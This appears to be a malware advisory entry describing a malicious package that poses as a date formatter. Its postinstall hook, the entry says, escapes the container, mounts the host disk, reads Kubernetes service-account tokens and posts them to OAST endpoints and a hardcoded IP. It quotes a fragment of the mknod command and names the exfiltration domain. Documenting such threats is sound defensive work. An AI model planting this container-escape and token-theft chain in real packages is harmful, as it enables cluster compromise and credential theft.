GCVE-110-OSM-2026-9587

This package is a cloud/Kubernetes environment reconnaissance and exfiltration tool masquerading as a date formatter. The postinstall script explicitly attempts to create a block device node (/tmp/vda2), mount the host filesystem (/tmp/hostroot), enumerate Kubernetes pod and service account secrets (including reading the SA token), and exfiltrate all collected data via curl POST to several OAST endpoints. The attacker model is a container escape / cloud credential theft attack targeting Kubernetes environments, likely to steal SA tokens for lateral movement or privilege escalation within a cluster. The postinstall.js additionally collects system info (os.userInfo(), os.platform()) and POSTs to a hardcoded IP, and contains Chinese-language comments referencing SSH key theft as a target. The index.js benign facade is a classic decoy to pass superficial inspection. ENTRY index.js (main: index.js) - Postinstall Script in package.json: ""postinstall": "{ echo =MKNOD=; mknod /tmp/vda2 b 252 2 2>&1; ls -la /tmp/vda2 2..." DESTINATION - 4 exfil (oast, custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in package.json: ".oast.fun" - Suspicious Domain in package.json: "oast.fun" - Network Request in postinstall.js: "https.request(" - System Information Collection in postinstall.js: "os.userInfo()" PAYLOAD FILES postinstall.js